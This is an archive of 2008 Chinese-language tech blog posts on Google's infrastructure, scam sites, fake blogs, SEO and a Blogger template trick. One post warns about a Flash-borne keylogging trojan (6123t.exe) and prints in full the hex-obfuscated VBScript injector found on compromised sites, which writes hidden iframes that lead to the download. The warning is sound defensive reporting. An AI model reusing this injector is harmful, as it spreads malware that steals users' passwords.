林林總總說了一堆, SEO絕對是一項人力密集的工作, 沒有一個軟體或簡單步驟可以達成目的, 而且如果沒好的內容, 做半天SEO也不會太有效, 因此回歸到原點, 還是好好思考如何提供有品質的內容, 再來煩惱SEO吧!

Google資料中心的秘密

2008-06-25T10:03:00.002+08:00

Google提供全球大量的服務，幾乎已經快橫跨整個資訊科技的服務，但是Google資料中心的內部運作一直都是秘而不宣，許多人可能都碰過Google的服務出狀況，但是這些狀況總能在可容忍的範圍內解決，你可能發現你的Gmail的容量一直在改變，是什麼架構讓空間像捏橡皮糖一樣越捏越大?前陣子Google伙伴Jeff Dean在Google I/O會議中稍微揭開了公司基礎設施的神秘面紗。

Google的神秘面紗包括了: (1)軟體 (2)硬體 (3)叢集平行處理機置

Google軟體的三個核心要素：GFS（Google檔案系統）、BigTable和MapReduce演算法。而硬體卻是一般的伺服器、處理器、硬碟、記憶體等等。另一方面伺服器的叢集能在半秒之內回應700至1,000台伺服器的搜尋請求。

根據Google的說法，GFS是"a scalable distributed file system for large distributed data-intensive applications. It provides fault tolerance while running on inexpensive commodity hardware, and it delivers high aggregate performance to a large number of clients". 就是這個GFS的分散式檔案系統，讓Google服務可以隨時長出空間或是切去毀損的部分，而管理這個GFS的機置就是BigTable。目前有超過200個叢集在執行GFS，其中許多都包含數千台主機。

GFS把一塊儲存的資料(通常是64MB)，至少放在三台稱為chunkserver的主機內。

如果chunkserver發生故障，Master Server(主伺服器)便負責把資料備份到一個新的地方。至少在儲存層級，主機故障完全由GFS系統處理。

Google到底擁有多少台伺服器?據Dean表示，每個機櫃存放40台伺服器。而根據某項估計，Google目前在全球有36個資料中心，以每個中心有150個機櫃計算，Google的伺服器至少超過20萬台，並且每天都在增加中...下圖就是Google最早期的server rack，當然目前的硬體比這個肯定更驚人了。

Google之所以成為Google，部分原因是他們推翻了電腦界的傳統作法。當所有的超大型資料中心都使用主流伺服器和軟體，Google的資料中心絕大部分是靠本身的技術構建而成。Google把命運操縱在自己手中，共同創辦人Larry Page鼓勵員工"別太相信有什麼不可能的事情"。

要維持如此大規模的運作，也許可以說全世界是卯起來操Google的架構，Google必須對每一台機器抱有一種隨時可犧牲的態度。伺服器製造商喜歡主打他們的高階主機承受故障或當機的能力，但Google寧願把錢投資在容錯軟體上。他們認為擁有兩倍數量但較不可靠的硬體，勝過一半數量但較可靠的硬體。你必須在軟體的層級提供可靠度，如果你有1萬台主機在運作，每天一定會有一些東西掛掉。這個跟我們一般的認知確實有蠻大的差異，我們通常都希望有數量雖少，但功能穩定的機器，而不願意有一大籮筐兩光的機器。

每個新叢集上線的第一年，通常會發生1,000次個別主機的故障，數千次硬碟故障...

一次電力輸送問題，導致500至1,000台主機失效約6小時...

20次機櫃損壞，每次造成40至80台主機下線...

5次機櫃搖晃，導致半數的網路封包在傳送過程中遺失...

整個叢集至少一次重新上線，在兩天之內的任何時間，影響5%的主機...

整個叢集還有一半的機率會過熱，在5分鐘之內讓幾乎所有伺服器當機，並且花上1到2天的時間恢復...

雖然Google用一般硬體組件來組裝其伺服器，但卻不用傳統的封裝，他們要求Intel提供特製的主機板。Google目前在每40台伺服器的機櫃外，包覆一層外殼，而不是每台伺服器有個別的外殼。

Google在2004年開始設計的BigTable，用BigTable為所有資料提供若干結構，目前用在超過70個Google計畫，包括Google Maps、Google Earth、Blogger、Google Print、Orkut和核心搜尋索引。最大的BigTable實用範例管理橫跨數千台主機、約6 PT(petabytes)的資料。

Google在2003寫出第一版的MapReduce，讓該公司有辦法實際發揮那些資料的用處。舉例來說，MapReduce能找出某個特定字彙在Google的搜尋索引中出現的次數、列出所有特定字彙出現的網頁，和連結到某個特定網站的所有網站。

利用MapReduce，Google能用相對迅速的時間，建立一個包含"digital"、"network"和"society"三個字的所有網頁索引。"Dean說：「你必須能夠依序地橫跨數千台主機作業，才能在一個合理的時間內完成這項工作。」

MapReduce軟體在Google內部的應用日漸增加，2004年8月，該軟體執行2.9萬項工作，到2007年9月，已經暴增到220萬項。在這段期間，完成一項工作的平均時間也從634秒降至395秒，而MapReduce的工作產出則從193 terabytes上升到約1.4萬terabytes。Dean說，Google在任何一天都要執行約10萬項MapReduce工作，每一項工作佔用400台伺服器，且需要5到10分鐘完成。

MapReduce就像GFS，是特別設計用來迴避伺服器問題的。Dean表示：「當某台主機故障，主伺服器知道那台機器正在執行什麼工作，將命令其他主機接手那項map工作。你可能影響到100個map工作，但會有100台主機接手那些工作。」

MapReduce的可靠度一度遭到嚴厲的試煉，當時一個1,800台伺服器的叢集正進行維護作業，工作人員一次拔下80台主機的插頭，同時另外1,720台主機必須接下停頓的工作。Dean說：「速度變得有點慢，但工作全部完成。」而在一次2004年的簡報中，一個1,800台叢集的系統，承受了1,600台伺服器同時故障。

所以，Google資料中心的運作似乎如魚得水，一切順利。但該公司還不滿足，列出了一長串待改進的事項。大多數公司都試圖找出如何平順地將工作在伺服器之間轉移，但Google已經超越了那項挑戰，他們要能夠自由、平順，且自動地，將工作在各個資料中心間轉移。

Dean說：「我們下一代的基礎設施要是一個能夠橫跨大區塊主機轉移，而非單一機器的系統。」目前，某些大型的檔案系統具有不同的名稱，如GFS/Oregon和GFS/Atlanta，但他們都是彼此的拷貝。他表示：「我們要一個單一的名稱集。」

Google種種獨創的系統替他們開創了天下，也建立了其他競爭者很難跨過的門檻，但是隨著越來越複雜的環境，Google自己需要解決的問題，肯定挑戰會越來越大。

網路騙術何其多

2008-06-16T08:10:00.007+08:00

(可點圖放大, 圖一: 網站看起來很正常, 但其實就是要騙你加入付費)

近日在網路上搜尋一些檔案, 真是被垃圾網站搞得啼笑皆非, 這些垃圾網站提供你任何你搜尋的內容, 你需要建置SOA的Web Services List? 他們有! 你需要Java建立on-the-fly的統計圖表? 他們有! 你需要衣索匹亞的GPS地圖? 他們有!

當然點進去之後, 只有兩種結果: 讓你誤點他們的廣告, 或是誘導你付出幾塊錢美金加入會員, 但這兩種結果都只能算是一種, 就是讓你被騙!

起初還真佩服這些網站, 哇! 什麼東東都有! 但是點進去...先付$4.95, 而且只優惠到月底, 讓你整年無限下載...但是仔細用各種方式評估, 才發現真的好笑到不行!

我們現在來看看這些好笑的網站, 特別打入非常特殊的關鍵字: 老狗與小烏龜
哈哈哈....看看下圖, 還有最新2008版本呢!

(可點圖放大, 圖二: 打入老狗與小烏龜, 哈...還有檔案讓你下載!)

再打入更特殊的關鍵字, 試看看

(可點圖放大, 圖三: 哈...也有檔案讓你下載!)

(可點圖放大, 圖四: 還有德文版的喔!)

(可點圖放大, 圖五: fuck my chair on the street檔案還真多喔, 而且有很多回覆感謝呢!)

(可點圖放大, 圖六: 老狗與小烏龜還有破解版的喔!)

這些網站只要騙你$4.95, 當被騙的人數多時, 真是一筆不小的收入 ...

真是網路騙術何其多, 真的不要太相信網路上的內容, 多培養專業知識, 以防止被騙失金!

一群訓練有素的猴子

2008-06-04T13:09:00.003+08:00

在之前有一篇文章提到勞力密集的網路科技產業, 這幾天真的很巧, 看到YouTube的網站出現問題, 秀出了這麼一段訊息 ...

500 Internal Server Error
抱歉，發生了錯誤。
我們已調派一群訓練有素的猴子來處理狀況。請將此事件回報至客戶服務。

YouTube真的太幽默啦, 一群訓練有素的猴子, 不知道被派來處理的工程師做何感想...

說老實話, 搞技術已經20多年, 還真的有種耍猴戲的感覺, 大多時間在處理的事情都是很低層次的問題, 但是這些低層次的問題又都是系統是否能夠正常運作的關鍵

什麼時候才能真正用"訓練有素的猴子"來處理這些雜七雜八的問題? 或什麼時候才能讓這些雜七雜八的問題讓Robot來做?

系統越搞越複雜, 越搞越分散, 常常一個小小的錯誤可以讓一個龐大的系統垮下來 ...

就有這麼一個笑話 ...

在一個龐大的資訊中心, 裡面只有一個人跟一隻狗, 裡面所有運作都已經全部自動化, 這個人的作用就是當自動化出狀況, 需要手動去開關機時, 這個人就去把開關ON或OFF, 而這隻狗幹啥呢?

有人說: 陪這個人吧!

有人說: 當警衛狗吧!

都不是! 這隻狗的作用就是 ....... 看好這個人, 不要讓他隨便去動開關

人的作用如果最後只是用來ON/OFF, 還真悲哀

在還沒變成那麼慘的狀況, 至少還能當隻猴子來用

所以那篇"勞力密集的網路科技產業", 絕對不是蓋你的, 因為我也是這個產業鍊下的一個猴子 ...

眼見不為真

2008-05-30T11:55:00.006+08:00

數位技術可以把一個胖妹變成辣妹, 話不多說, 就自己看看這些影片吧 ...

下次在網路上看到辣妹照片或看到有人在總統府裸拍, 不要太相信啦 ...

6123t.EXE病毒

2008-05-30T08:12:00.004+08:00

近日瀏覽網頁時, 突然ZoneAlarm跳出一個視窗, 詢問是否執行6123t.exe? 當然當下馬上將此程式阻擋, 很難想像如果沒有防火牆的話, 不知又要造成什麼損失 ...

該檔案存在C:\目錄下

檔案名稱 : 6123t.exe
檔案大小 : 13840 byte
檔案類型 : MS-DOS executable (EXE), OS/2 or MS Windows

根據初步瞭解, 該檔案為木馬程式, 會偷取硬碟中的資料, 目前所有防毒軟體都沒有相關訊息, 似乎也都無法防堵, 現在中國大陸已經有多起中毒事件

如果您的電腦在C:\下存在6123t.exe, 而您沒有安裝額外防火牆的話, 就可能已經中毒了, 在尚未確認刪除以前, 就暫時拔掉網路線吧 ...

(追蹤報導)

已經查出來源, 該病毒似乎與此次Flash出問題有關, 並且exe檔未必都是6123t

Adobe Flash Player出現漏洞, 在Adobe釋出修補程式前，最好暫時關閉Flash外掛(或更新到最新版)

當網友瀏覽被入侵的網站時, 會執行以下javascript:

Song = "3C536372697074204C616E67756167653D56425363726970743E0D0A094F6E204
572726F7220526573756D65204E6578740D0A09536574204F62203D20446F63756
D656E742E437265617465456C656D656E7428226F626A65637422290D0A094F622
E5365744174747269627574652022636C6173736964222C2022636C7369643A424
43936433535362D363541332D313144302D393833412D303043303446433239453
336220D0A0953657420506F70203D204F622E4372656174656F626A65637428224
1646F64622E53747265616D222C2222290D0A094966204E6F74204572722E4E756
D626572203D2030207468656E0D0A09094572722E636C6561720D0A0909446F637
56D656E742E77726974652028223C656D626564207372633D5C22666C6173682E7
377665C223E3C2F656D6265643E22290D0A0909446F63756D656E742E777269746
52028223C694672616D65207352633D7265616C2E68746D2077696474683D30206
865696768743D303E3C2F696672416D453E22290D0A0909446F63756D656E742E7
7726974652028223C694672616D65207352633D6E65772E68746D2077696474683
D30206865696768743D303E3C2F696672416D453E22290D0A09456C73650D0A090
9446F63756D656E742E77726974652028223C694672616D65207352633D68656C7
02E68746D2077696474683D30206865696768743D303E3C2F696672416D453E222
90D0A09456E642049660D0A3C2F5363726970743E"
Function Hex2Str(ByVal Ans):For i = 1 To Len(Ans)
Step 2:If IsNumeric(Mid(Ans, i, 1)) Then:tmpStr = tmpStr &
Chr("&H" & Mid(Ans, i, 2)):Else:tmpStr = tmpStr & Chr("&H" &
Mid(Ans, i, 4)):i = i + 2: End If: Next: Hex2Str = tmpStr: End Function
Document.Write Hex2Str(Song)

這段經Hex2Str後解碼就不列出了, 它會執行
flash.swf
real.htm
new.htm
help.htm

當啟動flash.swf, 會以URLMON.DLL去下載6123t.exe並執行, 執行後便會將卡巴斯基disable, 並解開ow.dll成為keyboard hook dll, 這個dll就可以監聽鍵盤的輸入, 因此該病毒應該是要偷取密碼

目前尚未中毒的電腦, 最好的方式就是先下載Adoble Flash到9.0.124版本, 並隨時注意Adobe新聞以更新flash的patch

由於被植入惡意程式的網站會越來越多, 預計災情會持續發燒

Microsoft的搜尋與多媒體技術

2008-05-28T17:03:00.002+08:00

微軟亞洲研究院成立十週年，院長洪小文(上圖)透露了部份研究成果：搜尋與多媒體技術。目前進行的研究成果包含自動化圖片編輯、與行動定位系統搭配的圖片搜尋、以搜尋為基礎的翻譯技術、哼唱搜尋，以及自動語音合成技術等，全都與多媒體或搜尋技術相關，顯示微軟打算與Google正面交峰的企圖。

與Google Earth與街景服務競爭的圖片搜尋技術稱為Photo2Search，使用者可用手機將街道上的建築物拍攝並上傳至系統，系統便會先取得基地台的位址資料，再將附近街道圖片與使用者上傳之圖片進行比對，比對完成後，再將使用者所需的資訊，如附近地圖、觀光點、建物資訊等訊息回傳給使用者。

傳統的圖片搜尋多半是透過metadata才能進行搜尋，但Photo2Search是透過基地台的位置比對，將搜尋目標範圍縮小後，再針對圖片內容進行畫素分析。

Photo2Search顧名思義就是利用圖片來搜尋，想要知道最近出來的DVD的反應如何?是值得一看還是浪費時間?只要照個像丟上系統查詢...想要知道最近開的餐廳評語如何?也只要照個像丟上系統查詢...

Photo2Search就是要讓: a picture is worth a thousand words , 一張圖片勝過千言萬語, 讓圖片自己與系統對話!

這個技術就是要解決實際世界與數位世界的差異問題, 這項技術的前身是Content Based Image Retrieval (CBIR) - 圖片內容頡取, 但是運算時間長且不易取得同類查詢的結果, Photo2Search使用另外的方式來比對事先取得的圖片資料庫, 這個技術可以運作在圖片、聲音、影片上。

其他關於搜尋的技術研發，還有翻譯搜尋Lingo。透過比對網路上現成的多語言資料，可以更精確找出特定語詞的譯法。至於已被商品化的搜尋技術，則是哼唱搜尋(Query by Humming)，藉由哼唱一段歌曲，再透過語音辨識技術來找出資料庫中吻合的曲目，該技術目前已輸出給部分手機鈴聲(ringtone)業者，並已有商業化服務。

該語音合成的發聲特徵來自建模(modeling)技術，任何人只要先花二十分鐘讓系統學習，然後就能用他的聲音唱任何歌曲、說任何話。

這樣一個系統在任何多媒體資料庫上是非常有用的，其中載有音樂的資料庫提供一個替代性和自然的方式查詢。可以廣泛使用這種系統在商業音樂產業、音樂電視台及電台、音樂商店，甚至於個人的使用上。

近期語意技術探討(一)

2008-05-28T08:03:00.006+08:00

(圖片來源:http://gridinoc.name)

2008年可以說是語意技術發燒的一年, 並且近年來不管是研究單位或是新創公司, 對於語意相關技術的重視與投資可謂不遺餘力, IEEE Intelligent Systems也在今年初刊登了不少關於語意技術的文章, 我們來看看到底語意已經發展到什麼程度 ...

語意技術對於一般使用者是感覺不到的, 您並不知道到底哪個東西應用了語意技術, 頂多您會覺得電腦好像變聰明了, 但是如果運用得不好, 您可能會覺得怎麼電腦這麼笨, 電腦的聰明與愚蠢就完全取決於到底是否正確的運用Semantic Technology(語意技術)、Artifical Intelligence(人工智慧)、Nature Language Processing(自然語言處理)、Ontology(本體論)...等等

在W3C的網站就舉了幾個語意技術的使用案例

例如其中BT(英國電訊)的案例, 根據Forrester研究顯示排名前3500的大公司, 花費在整合的費用是$6.3 million並且其中的31%花在整合外部公司, 而電信類的公司花在整合外部公司的比例高達70%

BT就將Semantic運用在SOA(Service-Oriented-Architecture)上, 讓他們的外部夥伴使用Internet與BT的B2B Gateway聯接, 輕易的自行處理作業支援相關運作, 如此一來減輕了支援成本, 也加速了作業效率

這個技術使用SOA來將整個系統分成Presentation Tier、Service Tier、Data Tier, 透過Service Tier的Semantic Broker去抓取異質系統的資料, 然後呈現在外部公司的系統上或是瀏覽軟體上, 如此一來BT本身的不同系統整合起來了, 外部公司使用各種不同系統也都可以順利的透過這個B2B Gateway來整合

在目前語意技術的運用上, 幾乎離不開Web2.0與SOA, 就其中Markup與Mashup的特性來發揮, Markup讓資料可以分析、交換(如XML、RDF、RuleML), 而Mashup可以讓服務混搭, 因此幾乎所有的技術都繞著Markup與Mashup走, Semantic/Web2.0/SOA幾乎就是Internet三位一體的趨勢

目前在歐洲的語意研究上, 以Neon-Project、SEKT、DIP為主, 各自都發展許多不同的語意技術與工具, 下次再仔細說明囉 ...

如何在Blogger For Domain使用繼續閱讀功能

2008-05-23T14:23:00.001+08:00

使用Blogger服務的人都有一個困擾, 那就是文章無法分成"上半段"與"下半段", 也就是無法在首頁只顯示每篇文章的上半段, 並顯示『繼續閱讀』來展開下半段, 我在網路上尋找許多解答, 大多的方式不是只適用一般的blogger(不適用blogger for domain), 不然就是需要一大堆work, 如果您想在Blogger For Domain使用繼續閱讀功能, 這裡有一個簡單得嚇人的方式...

首先在blogger的template-->Edit html中的CSS部分加入以下的code(且稱為code-1):

/*.....繼續閱讀的語法開始..........*/
<MainOrArchivePage>
span.fullpost {display:none;}
</MainOrArchivePage>
<ItemPage>
span.fullpost {display:inline;}
</ItemPage>
/*.....繼續閱讀的語法結束..........*/

然後找到<div class="post-body">
在相對應的</div>上方加上如下的code(且稱為code-2):

<MainOrArchivePage>
<a href="<$BlogItemPermalinkURL$>"><img src="您的繼續閱讀圖案路徑" border=0 alt="繼續閱讀"></a>
</MainOrArchivePage>

然後在setting-->formatting下的Post Template內輸入以下的code(且稱為code-3):

<span class="fullpost">
<span>

以後您在編寫新的文章時, code-3會自動出現在編寫內容中, 只要文章夾在span的tag內, 都會變成下半段, 而在span tag之上的內容, 就是上半段啦, 本部落格就是使用Blogger的blog for domain, 看您運作起來是否跟本部落格一樣啦!

別假了 : Flog and Splog

2008-05-22T16:41:00.004+08:00

(圖片來源 ha.ckers.org)

啥是Flog跟Splog? 根據Wikipedia的定義: flog是指Fake blog, Splog是指Spam blog, 也就是假的部落格與垃圾部落格, 假的與垃圾部落格到底在幹什麼? 他是一個偶發的事件還是集體式的潛在犯罪呢?

Flog存在的目的是在網路散佈假的訊息, 例如:某某產品多好用, 某某餐廳的食物真好吃...等等, 主要是在網路上進行假行銷, 同樣的也會被用來打擊競爭對手, 散佈對方產品或服務不好的訊息

我就曾經在網路上看到某些餐廳利用Flog建立了許多看似由個人建置的部落格, 然後裡面穿插了許多推薦該餐廳的訊息, 結果一去消費 ... 完全不是那麼一回事

而Splog存在的目的是賺錢, 他們自己完全不生產內容, 利用複製他人部落格的內容, 然後靠頁面的Google Adsense或類似的廣告收入來營利, 有些Splog是集體式的, 如上圖的Splog hub, 有一個機制將他人部落格鎖定, 然後大量匯到Splog hub, 一堆Spamer就可以輕易的由Splog hub來拿回資料, 而營運這個Splog hub的就向這些spamer收費, 國內的Splog大多單打獨鬥, 而國外則有許多Splog hub, 在中國大陸有許多網站簡直內容一模一樣, 然後內頁有一堆會讓你誤觸的廣告, 當你仔細端詳一翻, 發現內容有些根本牛頭不對馬嘴

有時flog與splog會有混搭的情況, 例如假部落客做了一個flog, 但總不能只報自己餐廳的訊息(很快會被識破), 因此他就由別人的部落格複製了許多資料, 放在自己的部落格, 這時網友就很可能以為這個flog是真的在介紹各地餐廳, 因而就可能受騙

如何識破flog與splog的技倆呢? 有幾個原則可以使用:

(1)如果網頁內廣告的部分與內容不成比例(廣告部分遠大於內容), 並且你必須很仔細找才能分辨廣告與內容, 這個頁面就很可能是splog

(2)如果部落格屬於介紹產品或服務, 其文章不讓使用者留言, 並許多文章與其他部落格相同, 或這個部落格的文章日期集中度很高(也就是都集中在某幾天刊登, 但某些部落格可以改日期就不適用), 這個頁面就很可能是flog

除了部落格有flog/splog, 許多提供web2.0的大站台也是散佈假訊息的集中地, 許多提供刊登照片的網站也是假自拍一堆, 這也許真的部分應驗了"你在看誰的部落格"一書所說的現象

處於假資料一堆的網路世界, 最好的方式就是提高自己的辨識能力, 否則被賣了都還不知道...

搜尋引擎的運作背後

2008-05-22T09:27:00.005+08:00

相信大部分人都不太清楚到底搜尋引擎如何運作, 就算是SEO專家或是技術高手, 對於Google的PageRank也都只能由觀察來推論實際運作的可能性, 現在我們就幾個關鍵人物的說法來探究 ...

近日Google的官方部落格刊登了Udi Manber(VP Engineering, Search Quality)的這篇文章: Introduction to Google Search Quality, 並且透露Google將定期公告關於搜尋引擎的訊息

Udi Manber在2006年前是負責Amazon的A9搜尋引擎, 因此雖然只加入Google兩年, 但是已經算是搜尋引擎的老鳥了

在談Udi Manber的文章前, 我們先來看Blekko的Rich Skrenta, 他敘述關於search engine:

Step 1 is to copy the internet onto your cluster. Step 2 is to analyze it..

Search is like 7 hard problems wrapped into a stack. Distributed systems, html analytics, text analytics/semantics, anti-spam, AI/ML, frontend/UI. And scale...

Plus there is always something fresh and new every day mining through the vast sordidness of the many billions of pages on the web. You expect to be amazed at the endless varieties of crazy porn domains and new approaches to webspam.

Rich Skrenta說到, 搜尋引擎就是把全球的頁面複製一份到你的叢集裡, 然後進行七項苦工(分散式系統,HTML分析,文字與語意分析,反垃圾,人工智慧與機器學習,使用界面,彈性的系統規模)...然後每天都會驚訝發現許多的色情與垃圾網站...(僅就意思翻譯,請多包涵)

他的最後一句透露了兩個重點...取巧的網頁會被抓出來,以及人類在整個過程中會介入資料的判斷

其實從上次Google的PR調整來處罰Paid link, 大概就清楚人為干擾search engine algorithm的例子 ,但由Rich Skrenta的說法就更明白, 非自然的網頁行為是被嚴密的監控的, 也許您會認為上億頁的資料中不會被發現, 那您就低估了人工智慧與機器學習的可能性 ...

SitePro列出的SEO十大守則中

Commandment 1: There are No Rank Guarantees
Commandment 2: Ranking is Not the End, It's the Means
Commandment 3: Know Your Competition
Commandment 4: Use Search Engine Friendly Design
Commandment 5: Select Keywords that are Worthy
Commandment 6: Write Great Content
Commandment 7: Use Good Hyper Linking Strategy
Commandment 8: Write Relevant and Original Meta Content
Commandment 9: Acquire Relevant Links
Commandment 10: Consult Experts, If You Need To

也可以很清楚的知道: 好好耕耘內容, 不需要太在意評分, 自然可以呈現好結果

我們現在再回來看看Udi的文章 ...

PageRank is still in use today, but it is now a part of a much larger system. Other parts include language models (the ability to handle phrases, synonyms, diacritics, spelling mistakes, and so on), query models (it's not just the language, it's how people use it today), time models (some queries are best answered with a 30-minutes old page, and some are better answered with a page that stood the test of time), and personalized models (not all people want the same thing).

顯示PageRank只是"Part-of", 由許多觀察也發現, PR與SERP不如以前關係緊密, 因此許多追求PageRank的作法應該有所調整, 並且以後可能搜尋結果可能會因人而異(您看到自己頁面的搜尋結果很好,不要太高興啦...)

In 2007, we launched more than 450 new improvements, about 9 per week on the average...we made significant changes to the PageRank algorithm in January.

去年Google就進行了450次以上的調整, 並於2008.01做了PageRank algorithm重大調整, 跟一些專家所說的數字差距真的太遠啦

There is a whole team that concentrates on fighting webspam and other types of abuse. That team works on variety of issues from hidden text to off-topic pages stuffed with gibberish keywords, plus many other schemes that people use in an attempt to rank higher in our search results. The team spots new spam trends and works to counter those trends in scalable ways; like all other teams, they do it internationally.

如Rich Skrenta所說的, Udi也提到非自然的取巧作法是被嚴格觀察的...尤其當您在網頁上看到某些取巧的作法時, 就趕緊停止吧, 因為Gooogle早晚也會知道的...

我們就密切注意Udi Manber後續的文章吧, 如果您懶得看英文, 隨時回來這裡交流吧 ...